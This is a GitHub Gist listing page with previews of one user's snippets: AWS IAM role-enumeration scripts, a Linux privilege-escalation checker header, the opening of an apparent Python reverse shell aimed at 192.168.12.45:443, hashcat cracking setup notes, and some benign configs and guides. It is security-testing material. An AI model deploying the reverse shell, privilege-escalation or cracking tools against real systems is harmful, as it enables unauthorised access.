Skip to content

Instantly share code, notes, and snippets.

@relotnek
relotnek / assume_role_enumeration_crosstalk.py
Created October 13, 2018 00:20
Looks for cross account access in assumable roles using profiles in your aws credentials file
import boto3
# Use profiles that exist in your ~/.aws/credentials file
# Add to the array with any additional profiles for this to work i.e. ["default","profile0","profile1"] etc.
profiles = ["default"]
assumable_accounts = {}
assuming_accounts = []
@relotnek
relotnek / assume_role_enumeration.py
Created October 10, 2018 23:01
Quick script to enumerate assumable roles in an AWS Account
import boto3
client = boto3.client('iam', region_name="us-east-1")
response = client.list_roles()
roles = response.get("Roles")
for role in roles:
if "AWS" in role["AssumeRolePolicyDocument"]["Statement"][0]["Principal"]:
print(role["RoleId"] + " " + role["RoleName"])
print(role["AssumeRolePolicyDocument"]["Statement"][0]["Principal"]["AWS"])
@relotnek
relotnek / ca.md
Created December 9, 2017 04:27 — forked from soarez/ca.md
How to setup your own CA with OpenSSL

How to setup your own CA with OpenSSL

For educational reasons I've decided to create my own CA. Here is what I learned.

First things first

Lets get some context first.

@relotnek
relotnek / keybase.md
Created August 10, 2017 14:50
keybase.md

Keybase proof

I hereby claim:

  • I am relotnek on github.
  • I am relotnek (https://keybase.io/relotnek) on keybase.
  • I have a public key whose fingerprint is 0966 F4F5 6DEF 566C B4DA CE18 2DC4 9F01 11A3 0C8B

To claim this, I am signing this object:

@relotnek
relotnek / linuxprivchecker.py
Created July 8, 2017 18:49 — forked from sh1n0b1/linuxprivchecker.py
linuxprivchecker.py -- a Linux Privilege Escalation Check Script
#!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
@relotnek
relotnek / simple_py_shell
Created June 29, 2017 16:07 — forked from sckalath/simple_py_shell
Simple Python Shell
#!/usr/bin/python
# imports here
# Copyright 2012 TrustedSec, LLC. All rights reserved.
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
import socket,subprocess
HOST = '192.168.12.45' # The remote host
PORT = 443 # The same port as used by the server
@relotnek
relotnek / aws-ec-p2.xlarge-hashcat.md
Created March 27, 2017 18:18 — forked from gwillem/aws-ec-p2.xlarge-hashcat.md
Get an AWS EC2 p2.xlarge ready for hashcat MD5 cracking!
ssh -i keyfile.pem ubuntu@<ip>

sudo apt -y update && sudo apt -y upgrade
sudo apt install -y p7zip-full build-essential linux-image-extra-virtual linux-source

echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf
sudo update-initramfs -u

# to activate latest kernel
@relotnek
relotnek / simple-logstash.conf
Last active August 29, 2015 14:23
simple-logstash.conf
# Input Portion
# Identifies syslog as a syslog type and rando security log
input {
file {
path => "/var/log/syslog"
type => "syslog"
}
file {
path => "/opt/logsamp/sec.log"
// Node.js CheatSheet.
// Download the Node.js source code or a pre-built installer for your platform, and start developing today.
// Download: http://nodejs.org/download/
// More: http://nodejs.org/api/all.html
// 0. Synopsis.
// http://nodejs.org/api/synopsis.html